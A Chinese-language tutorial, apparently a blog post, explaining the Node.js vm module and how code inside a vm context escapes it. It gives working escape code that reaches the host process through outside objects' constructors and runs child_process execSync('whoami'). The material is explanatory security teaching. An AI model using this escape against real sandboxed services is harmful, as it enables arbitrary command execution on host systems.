Nodejs沙箱逃逸
沙箱是什么?
沙箱是一种按照安全策略限制程序行为的执行环境。早期主要用于测试可疑软件等,比如黑客们为了试用某种病毒或者不安全产品,往往可以将它们在沙箱环境中运行。
经典的沙箱系统的实现途径一般是通过拦截系统调用,监视程序行为,然后依据用户定义的策略来控制和限制程序对计算机资源的使用,比如改写注册表,读写磁盘等。
VM模块
VM模块是NodeJs内置的一个模块,在一定程度上,它只是一个隔离环境,并不是一个沙箱。
VM模块是NodeJS里面的核心模块,支撑了require方法和NodeJS的运行机制。
VM包含了三个常用的方法,来用于创建独立运行的沙箱体制。
vm.runInThisContext(code, filename)
1)此方法用于创建一个独立的沙箱运行空间,code内的代码可以访问外部的global对象,但是不能访问其他变量。code内部global与外部共享。
var vm = require("vm");
var p = 5;
global.p = 11;
vm.runInThisContext("console.log('ok', p)");// 显示global下的11
vm.runInThisContext("console.log(global)"); // 显示global
console.log(p);// 显示5
vm.runInContext(code, sandBox);
2)此方法用于创建一个独立的沙箱运行空间,sandBox将做为global的变量传入code内,但是不存在global变量,sandBox要求的是vm.createContext()方法创建的sandBox。
var vm = require("vm");
var util = require("util");
var window = {
p: 2,
vm: vm,
console: console,
require: require
};
var p = 5;
global.p = 11;
vm.createContext(window);
vm.runInContext('p = 3;console.log(typeof global);', window); // global是undefined
console.log(window.p);// 被改变为3
console.log(util.inspect(window));
vm.runInNewContext(code, sandbox, opt);
3)这个方法与runInContext一样,但是少了创建sandBox的步骤
沙箱逃逸
先试一下一个小实验
const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
执行m+n表达式
可以看到这个隔离环境是很容易绕过并执行的。
这个环境里有三个对象
this 指向传给vm.createContext的那个对象
m 等于数字1
n 等于数字2
我们可以利用外部传入的对象来绕过这个隔离环境。例如利用this来引入当前上下文里没有的模块
this.toString.constructor('return process')()
const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString()
第一行的this.toString可以获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,构造器中可以传入字符串类型的代码。然后执行,就可以获得process对象了。
而第二行,就是利用前面获取的process对象来干任何事情。
那么,就有人说了,为什么不直接使用{}.toString.constructor(‘return process’)(),这样岂不是更直接了当?
this与{}的一个区别就是,{}是在沙箱里的一个对象,而this是在沙箱外的对象。
那么m和n也是沙箱外的对象,为什么不能用m.toString.constructor(‘return process’)()呢?
因为数字,字符串,布尔等类型都是primitive types,它们传递的只是一个值,并不是一个引用。所以使用后的m与外部的m是不一样的。
所以,修改成context:{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。
const inspect = require('util').inspect;
const vm = require('vm');
const script = new vm.Script(
`(e => {
const process = x.toString.constructor('return process')()
return process.mainModule.require('child_process').execSync('whoami').toString()
})()`
);
const sandbox = {m:[], n: {}, x: /regexp/};
const context = new vm.createContext(sandbox);
const res = script.runInContext(context);
console.log(res)
所以,我们在沙箱内部找到一个沙箱外的对象,并借助这个对象的属性来获取沙箱外的函数,以此来绕过沙箱。